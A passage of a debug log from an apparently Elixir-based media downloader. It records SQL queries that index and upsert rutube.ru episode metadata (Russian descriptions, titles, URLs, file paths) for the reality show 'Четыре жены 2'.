CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "e817be08-d087-4429-bdd5-d1229d9dac0a", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", 12, "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, false, false, 6, [], 1, ~U[2024-06-06 15:00:12Z], ~U[2025-12-09 17:59:40Z], ~U[2025-12-09 17:59:40Z], "Четыре жены отправляются друг к другу в гости. Жена-локомотив Татьяна пригласит участниц в Бабаево, чтобы показать, как ей удаётся совмещать семью и бизнес. Жена-модель Вера из Волгограда продемонстрирует свои будни многодетной мамы. Жена-праздник Анна из Перми расскажет, как поддерживает позитивный настрой в отношениях. А жена-юла Юлия из Москвы познакомит конкуренток со своей активной семьёй. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-локомотив, юла, модель, волшебница", "bcd7aa93e53f886464242cd82d02e411", 7236, false, "https://rutube.ru/video/bcd7aa93e53f886464242cd82d02e411/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e060600 - Четыре жены 2: Жена-локомотив, юла, модель, волшебница.mp4", false, 6, ~U[2024-06-06 15:00:12Z]] 20:59:40.885 [debug] QUERY OK source="sources" db=1.2ms idle=218.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:40.886 [debug] QUERY OK source="media_items" db=0.3ms idle=116.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-13 14:50:12Z], 6] 20:59:40.961 [debug] QUERY OK source="media_items" db=74.2ms idle=100.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "d06ce9fb-f4a2-4907-a289-f458d9a47301", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", 13, "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, false, false, 6, [], 1, ~U[2024-06-13 14:50:12Z], ~U[2025-12-09 17:59:40Z], ~U[2025-12-09 17:59:40Z], "В этом выпуске примут участие Ксения из Тюмени, Дарина из Новосибирска, Ильмира из Саратова и Елена из Выксы. Кто победит: жена, которая любит себя, жена-хулиганка, жена «татарская царица» или жена-золото? Противостояние участниц покажет программа «Четыре жены».", "Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя", "2e3e5c7c7943c65a6ffb68b495faf23e", 7695, false, "https://rutube.ru/video/2e3e5c7c7943c65a6ffb68b495faf23e/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e061300 - Четыре жены 2: Жена-хулиганка, татарская царица, золото, любит себя.mp4", false, 6, ~U[2024-06-13 14:50:12Z]] 20:59:40.973 [debug] QUERY OK source="sources" db=11.1ms queue=0.1ms idle=175.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:40.974 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=91.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-20 14:30:17Z], 6] 20:59:41.021 [debug] QUERY OK source="media_items" db=46.5ms idle=89.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "d1e6a32c-bafc-425a-876c-83f661171a4a", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", 14, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, false, false, 6, [], 1, ~U[2024-06-20 14:30:17Z], ~U[2025-12-09 17:59:40Z], ~U[2025-12-09 17:59:40Z], "Четыре жены посоревнуются между собой. Евгения из Кореновска покажет, насколько она требовательная жена. Ольга из Тольятти научит быть хитрой женой. Екатерина из Ставрополя расскажет, что значит быть счастливой женой из 90-х. А Натали из Москвы проявит себя как жена, которая любит красоту. Кто из участниц выиграет, узнаем из программы «Четыре жены».", "Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая", "9a87c9fc35a371cd1004796877b3dd14", 7553, false, "https://rutube.ru/video/9a87c9fc35a371cd1004796877b3dd14/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062000 - Четыре жены 2: Жена из 90х, требовательная, хитрая, красивая.mp4", false, 6, ~U[2024-06-20 14:30:17Z]] 20:59:41.024 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=136.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.026 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=65.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-21 14:20:13Z], 6] 20:59:41.126 [info] {"source":"oban","duration":67826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:41.131 [debug] QUERY OK source="media_items" db=96.1ms idle=53.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "e3a2d2d7-f368-4463-9f77-1f538257cf04", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", 15, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, false, false, 6, [], 1, ~U[2024-06-21 14:20:13Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Героини проекта «Четыре жены» поделятся секретами семейного счастья. В этом выпуске примут участие жена-партнёр из Челябинска Натали, корейская жена из Челябинска Анастасия, жена-тусовщица из Воронежа Алёна и хранительница домашнего очага из Омска Азиза. Каких успехов успели добиться девушки, покажет программа «Четыре жены».", "Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная", "85ce363bb31634c6a1d2592a8f5cba49", 7366, false, "https://rutube.ru/video/85ce363bb31634c6a1d2592a8f5cba49/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062100 - Четыре жены 2: Корейская жена, партнер, тусовщица, хозяйственная.mp4", false, 6, ~U[2024-06-21 14:20:13Z]] 20:59:41.135 [debug] QUERY OK source="sources" db=3.3ms queue=0.1ms idle=110.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.136 [debug] QUERY OK source="media_items" db=0.4ms idle=110.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-27 14:50:13Z], 6] 20:59:41.210 [debug] QUERY OK source="media_items" db=73.3ms idle=109.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "67db7eda-22f0-4270-97f0-1d23c5debe27", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", 16, "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, false, false, 6, [], 1, ~U[2024-06-27 14:50:13Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Ксения из Санкт-Петербурга, Мария из Курска, Кристина из Воронежа и Виктория из Москвы покажут, какими жёнами они стали. Девушки пригласят друг друга в гости, попробуют впечатлить соперниц своей самореализацией и расскажут об отношениях в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Начинающая жена, муза, лучшая, никакая", "cda4ec439998b15a47aedb80d3f465df", 7265, false, "https://rutube.ru/video/cda4ec439998b15a47aedb80d3f465df/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e062700 - Четыре жены 2: Начинающая жена, муза, лучшая, никакая.mp4", false, 6, ~U[2024-06-27 14:50:13Z]] 20:59:41.213 [debug] QUERY OK source="sources" db=2.2ms queue=0.1ms idle=87.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.215 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=88.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-04 14:40:13Z], 6] 20:59:41.275 [debug] QUERY OK source="media_items" db=57.8ms idle=81.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "de30c036-47cd-4cb6-b122-ca7c8442399e", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", 17, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, false, false, 6, [], 1, ~U[2024-07-04 14:40:13Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Четыре жены расскажут о своей семейной жизни. Юлия из Ижевска покажет, как ей удаётся быть женой-праздником. Елизавета из Орла объяснит, почему не стремится быть идеальной. Светлана из Екатеринбурга докажет, что она активная жена. А в Новосибирске свои секреты будет раскрывать Анастасия, которая находится в поиске себя. Смотрите программу «Четыре жены»!", "Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя", "9c3ee0f556eb51e29fdd816d9b672276", 7182, false, "https://rutube.ru/video/9c3ee0f556eb51e29fdd816d9b672276/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070400 - Четыре жены 2: Жена-праздник, неидеальная, на драйве, в поиске себя.mp4", false, 6, ~U[2024-07-04 14:40:13Z]] 20:59:41.289 [debug] QUERY OK source="sources" db=12.7ms idle=140.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.290 [debug] QUERY OK source="media_items" db=0.5ms idle=79.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-05 14:10:14Z], 6] 20:59:41.333 [debug] QUERY OK source="media_items" db=42.4ms idle=77.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "d5e8475a-fb47-4e6d-9540-7985e2ce86b7", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", 18, "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, false, false, 6, [], 1, ~U[2024-07-05 14:10:14Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Ксюша из Нижнего Тагила, Лена из Санкт-Петербурга, Мальвина из Новосибирска и Настя из Волгограда покажут, как складывается их семейная жизнь. Девушки побывают в гостях друг у друга, познакомят соперниц со своей самореализацией и покажут отношения в семье. Кто из участниц победит, узнаем из программы «Четыре жены».", "Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1", "6bf0c6e7aaa0e583a76753caab0cab72", 7115, false, "https://rutube.ru/video/6bf0c6e7aaa0e583a76753caab0cab72/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e070500 - Четыре жены 2: Умная жена, кайфуша, самовлюбленная, 4 в 1.mp4", false, 6, ~U[2024-07-05 14:10:14Z]] 20:59:41.340 [debug] QUERY OK source="sources" db=2.7ms idle=122.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.341 [debug] QUERY OK source="media_items" db=0.5ms idle=66.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-11 14:10:11Z], 6] 20:59:41.400 [debug] QUERY OK source="media_items" db=56.9ms idle=53.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "304dbfa0-79c9-49ba-be71-1b84aab0298c", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", 19, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, false, false, 6, [], 1, ~U[2024-07-11 14:10:11Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "В этом выпуске примут участие жена-дива Юлиана из Москвы, авантюристка Оксана из Санкт-Петербурга, жена-вулкан Валерия из Краснодара и жена-добытчица Елизавета из Москвы. Как героини оценят хозяйственность, отношения в семье и самореализацию друг друга, покажет программа «Четыре жены».", "Четыре жены, 2 сезон, 8 выпуск", "cbdd574361484a6443e342d6e09331ac", 7166, false, "https://rutube.ru/video/cbdd574361484a6443e342d6e09331ac/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071100 - Четыре жены, 2 сезон, 8 выпуск.mp4", false, 6, ~U[2024-07-11 14:10:11Z]] 20:59:41.403 [debug] QUERY OK source="sources" db=2.2ms idle=111.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.405 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=70.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-18 14:00:37Z], 6] 20:59:41.501 [debug] QUERY OK source="media_items" db=94.7ms idle=65.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "71f7c6e3-9c8c-49ca-a181-def130c26810", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", 20, "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, false, false, 6, [], 1, ~U[2024-07-18 14:00:37Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "Четыре жены приглашают в гости. Татьяна из Челябинска будет демонстрировать соперницам свою мудрость в семейной жизни. Алёна из Москвы покажет, насколько она творческая жена. Ирина из Москвы расскажет участницам, что значит быть ненасытной женой. А Алина из Краснодара докажет, действительно ли она является женой-другом. Смотрите программу «Четыре жены»!", "Четыре жены 2: Творческая жена, ненасытная, мудрая, друг", "b212e79c2631dc0596c54718c360e29f", 6414, false, "https://rutube.ru/video/b212e79c2631dc0596c54718c360e29f/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e071800 - Четыре жены 2: Творческая жена, ненасытная, мудрая, друг.mp4", false, 6, ~U[2024-07-18 14:00:37Z]] 20:59:41.504 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=161.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:41.505 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=105.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-25 14:40:20Z], 6] 20:59:41.579 [debug] QUERY OK source="media_items" db=72.4ms idle=102.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "28171645-ba86-4a68-bf46-9bdd9cd98bb3", "bc51abdf2c419e1d28acbdbf0f08138c", 6363, false, "https://rutube.ru/video/bc51abdf2c419e1d28acbdbf0f08138c/", 21, "/downloads/rutubeShows/4 жены/Season 2024/s2024e072500 - Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда.mp4", false, false, false, 6, [], 1, ~U[2024-07-25 14:40:20Z], ~U[2025-12-09 17:59:41Z], ~U[2025-12-09 17:59:41Z], "В этом выпуске примут участие креативная жена Екатерина из Екатеринбурга, безбашенная жена Евгения из Стерлитамака, жена-звёздочка Эмилия из Казани и токсичная жена Ангелина из Рязани. Как девушки оценят семейную жизнь друг друга, увидим в программе «Четыре жены».", "Четыре жены 2: Безбашенная жена, токсичная, креативная, звезда", "bc51abdf2c419e1d28acbdbf0f08138c", 